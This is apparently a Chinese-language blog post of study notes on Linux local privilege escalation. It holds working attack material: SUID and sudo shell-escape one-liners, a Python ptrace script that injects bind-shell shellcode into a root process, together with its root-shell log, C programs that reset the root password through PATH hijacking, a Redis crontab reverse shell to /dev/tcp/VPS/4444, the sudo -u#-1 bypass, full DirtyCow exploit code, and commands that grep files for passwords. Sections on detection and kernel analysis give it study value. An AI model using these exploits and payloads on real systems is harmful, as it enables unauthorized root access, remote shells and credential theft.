10om
10om
发布于 2024-11-11 / 22 阅读
0
0

本地提权

资料:

CVE-2016-5195 DirtyCow:Linux内核提权漏洞分析

CVE-2016-5195 dirtycow linux本地提权漏洞分析2

条件竞争学习 之 DirtyCow分析

Linux提权基础分享和讨论

Linux提权总结

谈一谈Linux与suid提权

Linux提权技术汇总

Linux的capability深入分析

Linux提权

一、权限机制滥用

1.SUID提权/SGID提权

SUID (Set UID)是Linux中的一种特殊权限,其功能为用户运行某个程序时,如果该程序有SUID权限,那么程序运行为进程时,进程的属主不是发起者,而是程序文件所属的属主。注意SUID权限的设置只针对二进制可执行文件

Linux进程在运行时有三个UID:

  • Real UID 执行该进程的用户实际的UID

  • Effective UID 程序实际操作时生效的UID

  • Saved UID 在高权限用户降权后,保留的其原本UID

通常情况下Effective UID和Real UID相等,所以普通用户不能写入/etc/passwd;有suid的程序启动时,Effective UID就等于二进制文件的所有者,此时Real UID就可能和Effective UID不相等了。

通过find命令查找具有SUID/SGID权限的命令:

find / -perm -u=s -type f 2>/dev/null

find / -perm -g=s -type f 2>/dev/null

sgid问题 ,提权以后对root目录文件没有执行权限

常见的suid提权命令:

map   //nmap --interactive 
vim   //:set shell=/bin/sh

find  //find xxx -exec bash -p \;

bash   //bash -p

more   //!/bin/sh

less   //!/bin/sh

awk   //awk 'BEGIN {system("whoami")}'

perl.  //perl -e 'exec "/bin/sh";'

wget

sed

python

...

目前已知的命令

https://gtfobins.github.io/

questions:

1.sgid提权 /root/目录下的脚本没有执行权限?

答:在执行非二进制文件时,euid/egid权限会失效

可以看出chmod命令很明显继承了find的SUID权限,但是shell脚本则不会继承

那么 如何获得权限?

1.通过setuid赋予权限

(但是gcc编译的时候会报错没有setuid.c的执行权限,使用root编译了一下。这里假设setuid是用wget下载或base64写入等途径而来)

2.或者利用继承的suid权限,利用可以setuid的命令提权

note:

1.有的二进制命令在setuid之前也会检测real uid,如bash

2.bash执行的时候也有保护措施,不使用bash -p进入新shell则无法保留suid

3.suid提权有setuid和setgid的权限,但sgid提权没有setuid和setgid的权限

2.SUDO提权

sudo是linux系统管理指令,是允许系统管理员让普通用户执行一些或者全部的root命令的一个工具,当一般用户执行特殊权限时。在Linux/Unix中,/etc/sudoers文件是sudo权限的配置文件,其中储存了用户或组可以以root权限使用的命令。

通过修改/etc/sudoers,可以让普通用户执行root命令并且不需要密码

work ALL=(root) NOPASSWD: /usr/bin/find

常见的sudo提权的命令与suid提权类似但有略微区别:

crontab(默认suid权限)   //sudo crontab -e
map //sudo nmap --interactive

find //sudo find xxx -exec bash -p \;

bash //sudo bash -p

awk //sudo awk 'BEGIN {system("whoami")}'

perl. //sudo perl -e 'exec "/bin/sh";'

wget

sed

python

...

详见:

https://gtfobins.github.io/

3.Capabilities提权

Linux 2.2以后增加了capabilities的概念,可以理解为水平权限的分离。以往如果需要某个程序的某个功能需要特权,我们就只能使用root来执行或者给其增加SUID权限,一旦这样,我们等于赋予了这个程序所有的特权,这是不满足权限最小化的要求的;在引入capabilities后,root的权限被分隔成很多子权限,这就避免了滥用特权的问题,我们可以在capabilities(7) - Linux manual page中看到这些特权的说明。

在Capilities中,只有进程和可执行文件才具有能力,每个进程拥有三组能力集,分别称为cap_effective, cap_inheritable, cap_permitted(分别简记为:pE,pI,pP),其中cap_permitted表示进程所拥有的最大能力集;cap_effective表示进程当前可用的能力集,可以看做是cap_permitted的一个子集;而cap_inheitable则表示进程可以传递给其子进程的能力集。系统根据进程的cap_effective能力集进行访问控制,cap_effective为cap_permitted的子集,进程可以通过取消cap_effective中的某些能力来放弃进程的一些特权。可执行文件也拥有三组能力集,对应于进程的三组能力集,分别称为cap_effective, cap_allowed 和 cap_forced(分别简记为fE,fI,fP),其中,cap_allowed表示程序运行时可从原进程的cap_inheritable中集成的能力集,cap_forced表示运行文件时必须拥有才能完成其服务的能力集;而cap_effective则表示文件开始运行时可以使用的能力。

CapInh (Inheritable): 继承权限掩码。子进程继承的权限。
CapPrm (Permitted): 允许权限掩码。进程可以持有的权限。
CapEff (Effective): 有效权限掩码。当前进程实际生效的权限。
CapBnd (Bounding): 边界权限掩码。进程能够持有的最大权限。
CapAmb (Ambient): 环境权限掩码。继承自父进程且在进程环境中有效的权限。

权能

编号(相关系统调用)

解释

CAP_CHOWN

0(chown)

对文件的UIDs和GIDs做任意修改

CAP_DAC_OVERRIDE

1

忽略对文件的DAC访问限制

CAP_DAC_READ_SEARCH

2

忽略DAC中对文件和目录的读、搜索权限

CAP_FOWNER

3

忽略进程UID与文件UID的匹配检查

CAP_FSETID

4

文件修改时不清除setuid和setgid位,不匹配时设置setgid位

CAP_KILL

5(kill)

绕过发送信号时的权限检查

CAP_SETGID

6(setgid)

设置或管理进程GID

CAP_SETUID

7(setuid)

管理或设置进程UID

CAP_SETPCAP

8(capset)

允许授予或删除其他进程的任何权能

CAP_LINUX_IMMUTABLE

9(chattr)

允许设置文件的不可修改位(IMMUTABLE)和只添加(APPND-ONLY)属性

CAP_NET_BIND_SERVICE

10

允许绑定到小于1024的端口

CAP_NET_BROADCAST

11

允许socket发送监听组播

CAP_NET_ADMIN

12

允许执行网络管理任务

CAP_NET_RAW

13(socket)

允许使用原始套接字

CAP_IPC_LOCK

14(mlock)

允许锁定共享内存片段

CAP_IPC_OWNER

15

忽略IPC所有权检查

CAP_SYS_MOUDLE

16(init_module)

插入和删除内核模块

CAP_SYS_RAWIO

17

允许对ioperm/iopl的访问

CAP_SYS_CHROOT

18(chroot)

允许使用chroot()系统调用

CAP_SYS_PTRACE

19(ptrace)

允许跟踪任何进程

CAP_SYS_PACCT

20(acct)

允许配置进程记账

CAP_SYS_ADMIN

21

允许执行系统管理任务

CAP_SYS_BOOT

22(reboot)

允许重新启动系统

CAP_SYS_NICE

23(nice)

允许提升优先级,设置其他进程优先级

CAP_SYS_RESOURCE

24(setrlimit)

设置资源限制

CAP_SYS_TIME

25(stime)

允许改变系统时钟

CAP_SYS_TTY_CONFIG

26(vhangup)

允许配置TTY设备

CAP_MKNOD

27(mknod)

允许使用mknod()系统调用,创建特殊文件

CAP_LEASE

28(fcntl)

为任意文件建立租约

CAP_AUDIT_WRITE

29

允许向内核审计日志写记录

CAP_AUDIT_CONTROL

30

启用或禁用内核审计,修改审计过滤器规则

CAP_SETFCAP

31

设置文件权能

CAP_MAC_OVERRIDE

32

允许MAC配置或状态改变,为smack LSM实现

CAP_MAC_ADMIN

33

覆盖强制访问控制

CAP_SYSLOG

34(syslog)

执行特权syslog(2)操作

CAP_WAKE_ALARM

35

触发将唤醒系统的东西

CAP_BLOCK_SUSPEND

36(epoll)

可以阻塞系统挂起的特性

CAP_AUDIT_READ

37

允许通过一个多播socket读取审计日志

cap_sys_ptrace提权日志记录:

1.为python2.7赋予cap_sys_ptrace+eip权限

2.尝试注入root进程,为防止系统崩溃,选择门神进程注入

3.exp执行后注入的进程会启动5600端口(shellcode 为创建套接字并绑定到 5600 端口,输出输入重定向进入新shell),使用nc主动连接端口

root     62254 62238  0 14:15 ?        00:00:00 /home/dils/openssh/bin/auditer -u none -h root
[work@leichi-managebu ~]$ python2.7 2.py 62254

Instruction Pointer: 0x465b73L

Injecting Shellcode at: 0x465b73L

Shellcode Injected!!

Final Instruction Pointer: 0x465b75L

[work@le ~]$ nc 0.0.0.0 5600. (pid为45180)

id

uid=0(root) gid=0(root) groups=0(root)

id

uid=0(root) gid=0(root) groups=0(root)

whoami

root

cat /proc/self/status

Name: cat

Umask: 0022

State: R (running)

Tgid: 47694

Ngid: 0

Pid: 47694

PPid: 43531

TracerPid: 0

Uid: 0 0 0 0

Gid: 0 0 0 0

FDSize: 64

Groups:

VmPeak: 4384 kB

VmSize: 4384 kB

VmLck: 0 kB

VmPin: 0 kB

VmHWM: 360 kB

VmRSS: 360 kB

RssAnon: 76 kB

RssFile: 284 kB

RssShmem: 0 kB

VmData: 180 kB

VmStk: 132 kB

VmExe: 44 kB

VmLib: 1944 kB

VmPTE: 32 kB

VmSwap: 0 kB

Threads: 1

SigQ: 0/64101

SigPnd: 0000000000000000

ShdPnd: 0000000000000000

SigBlk: 0000000000000000

SigIgn: 0000000000000000

SigCgt: 0000000000000000

CapInh: 0000000000000000

CapPrm: 0000001fffffffff

CapEff: 0000001fffffffff

CapBnd: 0000001fffffffff

CapAmb: 0000000000000000

# inject.py# The C program provided at the GitHub Link given below can be used as a reference for writing the python script.
# GitHub Link: https://github.com/0x00pf/0x00sec_code/blob/master/mem_inject/infect.c

import ctypes

import sys

import struct

# Macros defined in <sys/ptrace.h>

# https://code.woboq.org/qt5/include/sys/ptrace.h.html

PTRACE_POKETEXT = 4

PTRACE_GETREGS = 12

PTRACE_SETREGS = 13

PTRACE_ATTACH = 16

PTRACE_DETACH = 17

# Structure defined in <sys/user.h>

# https://code.woboq.org/qt5/include/sys/user.h.html#user_regs_struct

class user_regs_struct(ctypes.Structure):

 fields = [

 ("r15", ctypes.c_ulonglong),

 ("r14", ctypes.c_ulonglong),

 ("r13", ctypes.c_ulonglong),

 ("r12", ctypes.c_ulonglong),

 ("rbp", ctypes.c_ulonglong),

 ("rbx", ctypes.c_ulonglong),

 ("r11", ctypes.c_ulonglong),

 ("r10", ctypes.c_ulonglong),

 ("r9", ctypes.c_ulonglong),

 ("r8", ctypes.c_ulonglong),

 ("rax", ctypes.c_ulonglong),

 ("rcx", ctypes.c_ulonglong),

 ("rdx", ctypes.c_ulonglong),

 ("rsi", ctypes.c_ulonglong),

 ("rdi", ctypes.c_ulonglong),

 ("orig_rax", ctypes.c_ulonglong),

 ("rip", ctypes.c_ulonglong),

 ("cs", ctypes.c_ulonglong),

 ("eflags", ctypes.c_ulonglong),

 ("rsp", ctypes.c_ulonglong),

 ("ss", ctypes.c_ulonglong),

 ("fs_base", ctypes.c_ulonglong),

 ("gs_base", ctypes.c_ulonglong),

 ("ds", ctypes.c_ulonglong),

 ("es", ctypes.c_ulonglong),

 ("fs", ctypes.c_ulonglong),

 ("gs", ctypes.c_ulonglong),

 ]

libc = ctypes.CDLL("libc.so.6")

pid=int(sys.argv[1])

# Define argument type and respone type.

libc.ptrace.argtypes = [ctypes.c_uint64, ctypes.c_uint64, ctypes.c_void_p, ctypes.c_void_p]

libc.ptrace.restype = ctypes.c_uint64

# Attach to the process

libc.ptrace(PTRACE_ATTACH, pid, None, None)

registers=user_regs_struct()

# Retrieve the value stored in registers

libc.ptrace(PTRACE_GETREGS, pid, None, ctypes.byref(registers))

print("Instruction Pointer: " + hex(registers.rip))

print("Injecting Shellcode at: " + hex(registers.rip))

# Shell code copied from exploit db.

shellcode="\x48\x31\xc0\x48\x31\xd2\x48\x31\xf6\xff\xc6\x6a\x29\x58\x6a\x02\x5f\x0f\x05\x48\x97\x6a\x02\x66\xc7\x44\x24\x02\x15\xe0\x54\x5e\x52\x6a\x31\x58\x6a\x10\x5a\x0f\x05\x5e\x6a\x32\x58\x0f\x05\x6a\x2b\x58\x0f\x05\x48\x97\x6a\x03\x5e\xff\xce\xb0\x21\x0f\x05\x75\xf8\xf7\xe6\x52\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x53\x48\x8d\x3c\x24\xb0\x3b\x0f\x05"

# Inject the shellcode into the running process byte by byte.

for i in xrange(0,len(shellcode),4):

 # Convert the byte to little endian.

 shellcode_byte_int=int(shellcode[i:4+i].encode('hex'),16)

 shellcode_byte_little_endian=struct.pack("<I", shellcode_byte_int).rstrip('\x00').encode('hex')

 shellcode_byte=int(shellcode_byte_little_endian,16)

 # Inject the byte.

 libc.ptrace(PTRACE_POKETEXT, pid, ctypes.c_void_p(registers.rip+i),shellcode_byte)

print("Shellcode Injected!!")

# Modify the instuction pointer

registers.rip=registers.rip+2

# Set the registers

libc.ptrace(PTRACE_SETREGS, pid, None, ctypes.byref(registers))

print("Final Instruction Pointer: " + hex(registers.rip))

# Detach from the process.

libc.ptrace(PTRACE_DETACH, pid, None, None)

setuid:

getcap -r / 2>/dev/null
setcap cap_setuid+ep /usr/bin/python2.7
python2.7 -c 'import os; os.setuid(0); os.system("/bin/sh")'

二、权限控制不当类

查找可写的目录

find / -writable -type d 2>/dev/null

1.写入计划任务提权

1.1 root权限定时任务脚本普通用户可写

定时任务以root权限执行的定时任务或其所在文件夹,低权限用户拥有写权限,则可进行提权

通过普通用户查看/var/spool/cron目录下发现有写入权限,尝试写入命令

echo '*/2 * * * * sh /tmp/test.sh' >> root 

1.2 root权限定时任务调用的脚本普通用户可写

定时任务调用的脚本权限控制不当:

*/2 * * * * sh /tmp/test.sh

发现root任务/tmp/test.sh脚本,普通用户存在修改权限,通过修改定时任务调用的脚本来进行提权

1.3 tar 通配符注入

2.环境变量劫持提权

2.1具有S权限的程序

具有s权限位的这些程序中如果存在可控环境变量: 如存在调用ps程序,我们可以在低权限用户可写目录中写一个ps文件,内容为/bin/bash,然后将此目录添加到环境变量最优先寻找的目录,再执行脚本,脚本就会以root权限触发/bin/bash,就产生了一个root权限的shell,完成提权。

export PATH=/home/test:$PATH

2.2 ROOT的环境变量目录可控

root的$PATH若设置了用户可控的目录,用户可以在此可控目录写入一些命令并诱导root用户输入,或配置一些容易输错的单词如whomai、chomd等,当然我们可以配置非常多的文件名来增加触发概率

vim whomai
#include <stdio.h>

#include <stdlib.h>

int main() {

 setuid(0);

 system("echo "root:password" |chpasswd >> /dev/null 2>&1");

 return 0;

}

2.3 su切换导致ROOT携带用户环境变量

su -: 会切换用户,也会把用户变量也切换到下一个用户的环境变量

su : 只是会切换用户,但是当前的环境变量还是以前用户的环境变量

linux系统在使用su切换时,会携带当前用户的环境变量,使用su -则不会,通过预定义一个命令进行提权

export PATH=/home/test/ps:$PATH
vim ps
#include <stdio.h>
#include <stdlib.h>
int main() {
 setuid(0);
 system("echo "root:password" |chpasswd >> /dev/null 2>&1");
 return 0;
}

那么在从此用户切换到root使用ps时就会修改掉root用户密码。

3./etc/passwd (/etc/shadow)可写

4.root下SSH目录可写

5./etc/sudoers可写

...

三、服务提权

1.Docker组提权

docker 组内用户执行命令的时候会自动在所有命令前添加 sudo。因为设计或者其他的原因,Docker 给予所有 docker 组的用户相当大的权力

在docker组的普通用户执行此命令就可以获得root权限:

此时,虽然是在容器环境内,但是已经可以对文件进行任意操作了

2.LXC/LXD组提权

LXD(Linux容器守护程序)是一个系统级容器管理器,它基于LXC(Linux容器)技术。LXD提供了更高级别的接口和管理工具,使得轻松创建和管理系统容器成为可能。LXD主要面向系统级容器,可以运行完整的操作系统镜像,并提供类似于虚拟机的环境。它提供了更好的隔离性、资源控制和安全性。

LXC(Linux容器)是Linux内核提供的一种虚拟化技术,它允许在单个Linux内核上运行多个隔离的用户空间实例。LXC提供了一组工具和API,用于创建和管理容器。LXC容器通常比LXD容器更加灵活和轻量级,可以定制底层操作系统的各个方面。LXC更适合于需要更细粒度控制的使用场景。

同docker

3.Mysql提权

UDF提权:

UDF (user defined function),即用户自定义函数。是通过添加新函数,对MySQL的功能进行扩充,就像使用本地函数如 user() 一样。

条件:

  • 获取mysql控制权限

  • mysql具有写入文件的权限:mysql有写入文件的权限,即secure_file_priv的值为空。


将lib_mysqludf_sys.so写入到plugin目录下 通过mysql创建自定义函数

写webshell

写ssh公钥

...

4.Redis提权

前提:由于redis未授权访问漏洞/弱口令/密码泄露,redis已经被成功登录

redis拥有高权限

使用crontab定时任务反弹shell

config set dir /var/spool/cron

config set dbfilename root

set xxx "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/VPS/4444 0>&1\n\n"

save

写webshell

写ssh公钥

....

思路:本质应该是检测mysql、redis等服务写入文件的操作

问题:没日志

5.NFS提权

非本地提权

NFS简介:

网络文件系统:网络文件系统允许客户端计算机上的用户通过网络挂载共享文件或目录。NFS使用远程过程调用(RPC)在客户端和服务器之间路由请求。

Root Squashing参数阻止对连接到NFS卷的远程root用户具有root访问权限。远程root用户在连接时会分配一个用户“ nfsnobody ”,该用户具有最小的本地权限。如果 no_root_squash 选项开启的话的话”,并为远程用户授予root用户对所连接系统的访问权限。

如下图所示,该共享可以被远程root连接并读写,并且具有root权限,所以可以添加bash文件并赋予SUID权限,在目标机器的普通用户权限下可以执行bash文件,获取root权限。

查看NFS服务器上的共享目录

sudo showmount -e 10.32.140.130

本地挂载目录,即可获得此目录全部控制权限

在shell上使用shell -p参数获取root权限

其他服务漏洞/配置不当提权.....

四、漏洞利用

1.CVE-2019-14287 sudo权限绕过提权漏洞

Sudo配置不当,可绕过Sudo的exec_setup函数利用exec_cmnd进行特权提升

当我们执行sudo命令时,sudo会调用系统函数setresuid()和setreuid()。系统函数在对参数做处理时会将-1返回为0,当我们执行payload:sudo -u#-1 id,sudo -u#4294967295 id 会自动以用户ID 0的身份执行。由于通过-u选项指定的UserID在密码数据库中不存在,因此不会触发任何PAM模块权限检查

条件:1.sudo版本<1.8.28

2./etc/sudoers中允许当前用户使用sudo命令

work ALL=(ALL,!root) ALL

修复补丁:

/* Disallow id -1, which means "no change". */
if (!valid_separator(p, ep, sep) || llval  -1 || llval  (id_t)UINT_MAX) {

 if (errstr != NULL)

 *errstr = N_("invalid value");

 errno = EINVAL;

 goto done;

 }

2.CVE-2016-5195 Linux脏牛本地提权漏洞

  • 漏洞影响版本:Linux kernel >= 2.6.22

简要分析:

该漏洞具体为,get_user_page内核函数在处理Copy-on-Write(以下使用COW表示)的过程中,可能产出竞态条件造成COW过程被破坏,导致出现写数据到进程地址空间内只读内存区域的机会。修改su或者passwd程序就可以达到root的目的。

核心问题:

1.条件竞争漏洞

2.mmap 内存映射

这是一个相对比较常用的函数,这个函数的一个很重要的用处就是将磁盘上的文件映射到虚拟内存中,对于这个函数唯一要说的就是当flags的MAP_PRIVATE被置为1时,对mmap得到内存映射进行的写操作会使内核触发COW操作,写的是COW后的内存,不会同步到磁盘的文件中。

3.cow

4./proc/self/mem

这个文件是一个指向当前进程的虚拟内存文件的文件,当前进程可以通过对这个文件进行读写以直接读写虚拟内存空间,并无视内存映射时的权限设置。也就是说我们可以利用写/proc/self/mem来改写不具有写权限的虚拟内存。可以这么做的原因是/proc/self/mem是一个文件,只要进程对该文件具有写权限,那就可以随便写这个文件了,只不过对这个文件进行读写的时候需要一遍访问内存地址所需要寻页的流程。因为这个文件指向的是虚拟内存。

触发原理:

当调用write系统调用向/proc/self/mem文件中写入数据时,进入内核态后内核会调用get_user_pages函数获取要写入内存地址。get_user_pages会调用follow_page_mask来获取这块内存的页表项,并同时要求页表项所指向的内存映射具有可写的权限。

第一次获取内存的页表项会因为缺页而失败。get_user_page调用faultin_page进行缺页处理后第二次调用follow_page_mask获取这块内存的页表项,如果需要获取的页表项指向的是一个只读的映射,那第二次获取也会失败。这时候get_user_pages函数会第三次调用follow_page_mask来获取该内存的页表项,并且不再要求页表项所指向的内存映射具有可写的权限,这时是可以成功获取的,获取成功后内核会对这个只读的内存进行强制的写入操作。

这个实现是没有问题的,因为本来写入/proc/self/mem就是一个无视映射权限的强行写入,就算是文件映射到虚拟内存中,也不会出现越权写:

  • 如果写入的虚拟内存是一个VM_PRIVATE的映射,那在缺页的时候内核就会执行COW操作产生一个副本来进行写入,写入的内容是不会同步到文件中的

  • 如果写入的虚拟内存是一个VM_SHARE的映射,那mmap能够映射成功的充要条件就是进程拥有对该文件的写权限,这样写入的内容同步到文件中也不算越权了。

但是,在上述流程中,如果第二次获取页表项失败之后,另一个线程调用madvice(addr,addrlen,

MADV_DONTNEED),其中addr~addr+addrlen是一个只读文件的VM_PRIVATE的只读内存映射,那该映射的页表项会被置空。这时如果get_user_pages函数第三次调用follow_page_mask来获取该内存的页表项。由于这次调用不再要求该内存映射具有写权限,所以在缺页处理的时候内核也不再会执行COW操作产生一个副本以供写入。所以缺页处理完成后后第四次调用follow_page_mask获取这块内存的页表项的时候,不仅可以成功获取,而且获取之后强制的写入的内容也会同步到映射的只读文件中。从而导致了只读文件的越权写。

#include <stdio.h>
#include <sys/mman.h>

#include <fcntl.h>

#include <pthread.h>

#include <string.h>

void *map;

int f;

struct stat st;

char *name;

void madviseThread(void arg)

{

 char *str;

 str=(char*)arg;

 int i,c=0;

 for(i=0;i<100000000;i++)

 {

 c+=madvise(map,100,MADV_DONTNEED);

 }

 printf("madvise %d\n\n",c);

}

void procselfmemThread(void arg)

{

 char *str;

 str=(char*)arg;

 int f=open("/proc/self/mem",O_RDWR);

 int i,c=0;

 for(i=0;i<100000000;i++) {

 lseek(f,map,SEEK_SET);

 c+=write(f,str,strlen(str));

 }

 printf("procselfmem %d\n\n", c);

}

int main(int argc,char *argv[])

{

 if (argc<3)return 1;

 pthread_t pth1,pth2;

 f=open(argv[1],O_RDONLY);

 fstat(f,&st);

 name=argv[1];

 map=mmap(NULL,st.st_size,PROT_READ,MAP_PRIVATE,f,0);

 printf("mmap %x\n\n",map);

 pthread_create(&pth1,NULL,madviseThread,argv[1]);

 pthread_create(&pth2,NULL,procselfmemThread,argv[2]);

 pthread_join(pth1,NULL);

 pthread_join(pth2,NULL);

 return 0;

}

get_user_pages{//这是一个Wrap
...

 return __get_user_pages() //获取用户内存的核心函数

 ...

}

__get_user_pages(vma,...,int flag,...){

 ...

 retry:

 ...

 page = follow_page_mask(...,flag,...); //获取页表项

 if (!page) {

 int ret;

 ret = faultin_page(vma,...); //获取失败时会调用这个函数

 switch (ret) {

 case 0://如果返回为0,就重试,这是一个循环

 goto retry;

 ...

 }

}

follow_page_mask(...,flag,...){

 //这个函数会走 页一集目录->二级目录->页表项 的传统页式内存的管理流程

 ...

 return follow_page_pte(...,flag,...); //走到了流程的第三步:寻找页表项

 ...

}

follow_page_pte(...,flag,...){

 ...

 //如果获取页表项时要求页表项所指向的内存映射具有写权限,但是页表项所指向的内存并没有写权限。则会返回空

 if ((flags & FOLL_WRITE) && !pte_write(pte)) {

 pte_unmap_unlock(ptep, ptl);

 return NULL;

 }

 //获取页表项的请求不要求内存映射具有写权限的话会返回页表项

 return pages;

 ...

}

faultin_page(vma,){

 ...

 //处理page fault

 ret = handle_mm_fault();

 //这个if对应了上一个函数的注释,如果是因为映射没有写权限导致的获取页表项失败,会去掉flags中的FOLL_WRITE标记,从而使的获取页表项不再要求内存映射具有写的权限。

 if ((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE))

 *flags &= ~FOLL_WRITE;

 ...

 return 0;

}

handle_mm_fault(){

 __handle_mm_fault()

}

__handle_mm_fault(){

 handle_pte_fault()

}

handle_pte_fault(){

 //页表为空,说明缺页。调用do_fault调页

 if (!fe->pte) {

 ...

 return do_fault(fe);

 }

 //页表不为空,但是要写入的页没有写权限,这时可能需要COW

 if (fe->flags & FAULT_FLAG_WRITE) {

 if (!pte_write(entry))

 return do_wp_page(fe, entry);

 ...

 }

}

do_fault(fe){

 //如果不要求目标内存具有写权限时导致缺页,内核不会执行COW操作产生副本

 if (!(fe->flags & FAULT_FLAG_WRITE))

 return do_read_fault(fe, pgoff);

 //如果要求目标内存具有写权限时导致缺页,目标内存映射是一个VM_PRIVATE的映射,内核会执行COW操作产生副本

 if (!(vma->vm_flags & VM_SHARED))

 return do_cow_fault(fe, pgoff);

}

do_cow_fault(fe,pgoff){

 //执行COW, 并更新页表为COW后的页表。

 new_page = alloc_page_vma(GFP_HIGHUSER_MOVABLE, vma, fe->address);

 ...

 // __do_fault会将内存

 ret = __do_fault(fe, pgoff, new_page, &fault_page, &fault_entry);

 ...

 copy_user_highpage(new_page, fault_page, fe->address, vma);

 ret |= alloc_set_pte(fe, memcg, new_page);

 ...

 return ret

}

do_read_fault(fe,pgoff){

 ...

 //不执行COW,直接映射文件。

 __do_fault(fe, pgoff, NULL, &fault_page, NULL);

 ...

 ret |= alloc_set_pte(fe, NULL, fault_page);

 ...

 ret

}

alloc_set_pte(fe,...){

 bool write = fe->flags & FAULT_FLAG_WRITE;

 //如果执行了COW,设置页表时会将页面标记为脏,但是不会标记为可写。

 if (write)

 entry = maybe_mkwrite(pte_mkdirty(entry), vma);

}

do_wp_page(fe,entry){

 ....

 //内核通过检查,发现COW操作已经在缺页处理时完成了,所以不再进行COW,而是直接利用之前COW得到的页表项

 return wp_page_reuse(fe, orig_pte, old_page, 0, 0);

}

wp_page_reuse(){

 将页面标记为脏,但是不会标记为可写。

 entry = maybe_mkwrite(pte_mkdirty(entry), vma);

}

maybe_mkwrite(){

 //这就是maybe_mkwrite不会标记页为可写的原因,因为这个页为只读页。所以不满足if的条件

 if (likely(vma->vm_flags & VM_WRITE))

 pte = pte_mkwrite(pte);

 return pte;

}

write系统调用在内核中会执行get_user_pages以获取需要写入的内存页,get_user_pages函数会调用follow_page_mask函数寻找内存页对应的页表项,由于这是mmap后第一次对Mappedmem进行操作,所以Mappedmem所对应的页表为空,pagefault,get_user_pages调用faultin_page函数进行处理,faultin_page函数会调用handle_mm_fault进行缺页处理。缺页处理时,如果页表为空,内核会调用do_fault函数调页,这个函数会检查是否是因为内存写造成的缺页以及该内存是否是以private方式map的内存,如果是,则会进行COW操作,更新页表为COW后的页表。并将返回值的FAULT_FLAG_WRITE位置为1(正确分词:某某位 置为1,下同)
faultin_page

 handle_mm_fault

 __handle_mm_fault

 handle_pte_fault

 do_fault <- pte is not present

 do_cow_fault <- FAULT_FLAG_WRITE

 alloc_set_pte

 maybe_mkwrite(pte_mkdirty(entry), vma) <- mark the page dirty

 but keep it RO

get_user_pages会第二次调用follow_page_mask寻找页表项,follow_page_mask会调用follow_page_pte函数,这个函数会通过flag参数的FOLL_WRITE位是否为1判断要是否需要该页具有写权限,以及通过页表项的VM_WRITE位是否为1来判断该页是否可写。由于Mappedmem是以PROT_READ和MAP_PRIVATE的的形式进行映射的。所以VM_WRITE为0,又因为我们要求页表项要具有写权限,所以FOLL_WRITE为1,从而导致这次寻页会再次触发一个pagefault,faultin_page会再次调用handle_mm_fault进行处理。

# Returns with 0 and retry

follow_page_mask

 follow_page_pte

 (flags & FOLL_WRITE) && !pte_write(pte) <- retry fault

由于这次pagefault时页表不为空,所以不会执行do_fault函数调页,转而会去检查pagefault是否是由于要写不可写的地址导致的,如果是则会调用do_wp_page进行COW操作,不过值得注意的是,do_wp_page会进行一系列的检查来判断是否需要真的进行COW操作,如果没必要,则会直接REUSE原来的页来作为COW后的页。因为在调页过程中已经进行过COW过了,所以直接reuse了调页COW后的内存页。之后handle_mm_fault的返回值的VM_FAULT_WRITE位会被置为1。接着faultin_page会通过判断handle_mm_fault返回值的VM_FAULT_WRITE位是否为1来判断COW是否顺利完成,以及通过页表项VM_WRITE位是否为1来判断该内存是否可写。如果内存不可写且COW操作已经顺利完成,这说明mmap的内存区本来就是只读内存,因此为将FOLL_WRITE位置为0并返回到get_user_pages函数中

faultin_page

 handle_mm_fault

 __handle_mm_fault

 handle_pte_fault

 FAULT_FLAG_WRITE && !pte_write

 do_wp_page

 PageAnon() <- this is CoWed page already

 reuse_swap_page <- page is exclusively ours

 wp_page_reuse

 maybe_mkwrite <- dirty but RO again

 ret = VM_FAULT_WRITE

((ret & VM_FAULT_WRITE) && !(vma->vm_flags & VM_WRITE)) <- we drop FOLL_WRITE

get_user_pages第三次调用follow_page_mask进行寻页,注意此时的FOLL_WRITE已被置为0,也就是在寻页的时候不再需要页具有写权限。正常来说,这次寻页会成功的得到Mappedmem的页表项从而继续进行写操作。但是如果这时Thread2通过madvise(Mappedmem,DONT_NEED)系统调用,通知内核Mappedmem在接下来不会被使用。内核会将Mappedmem所在页的页表项置为空。这样就再次导致了pagefault,内核会调用do_fault函数调页。不过由于这次寻页并不要求被寻找的页具有写权限,所以不会像步骤4那样产生COW。如果接下来get_user_pages第四次调用follow_page_mask进行寻页的话,会成功返回对应的页表项,接下来的写入操作会被同步到只读的文件中。从而造成了越权写。

# Returns with 0 and retry as a read fault

cond_resched -> different thread will now unmap via madvise

follow_page_mask

 !pte_present && pte_none

faultin_page

 handle_mm_fault

 __handle_mm_fault

 handle_pte_fault

 do_fault <- pte is not present

 do_read_fault <- this is a read fault and we will get pagecache

 page!

........

https://www.exploit-db.com/

五、敏感信息利用

通过.bash_history搜集明文登录类的服务

通过其他其他自动化脚本进行代码审计获取用户密码

grep --color=auto -rnw '/' -ie "PASSWORD" --color=always 2> /dev/null

find . -type f -exec grep -i -I "PASSWORD" {} /dev/null \;

通过以上命令,指定关键字,在所有文件中搜索内容中有关键字的文件。

find / -type d -readable -user $(whoami) 2>/dev/null

查找十分钟内更改过的文件,可以收集活跃的服务和内容

find / -mmin -10 2>/dev/null | grep -Ev "^/proc"  (不显示^/proc文件或文件夹)

目标主机可能存在备份文件或其他网站服务的配置文件

.conf    
.config

.xml

.bak

backup*

.ini

.....

思路:重点检测信息收集命令find/grep等

...

2.用户所属组存在敏感文件访问/写入权限

ADM组在Linux中用于系统监控任务,组内的用户可以读取/var/log的日志文件。

主要用来收集存储在日志文件中的敏感数据或枚举用户操作

3.信息收集检测

思路: 一般来说从web打进来或者getshell后,用户大多数为www-data、httpd、apache、daemon这些进程nologin用户,假设系统权限不存在提权漏洞,有可能提权失败。但是信息收集的命令依旧存在,且为有效攻击。

Windows提权

mysql mof提权


评论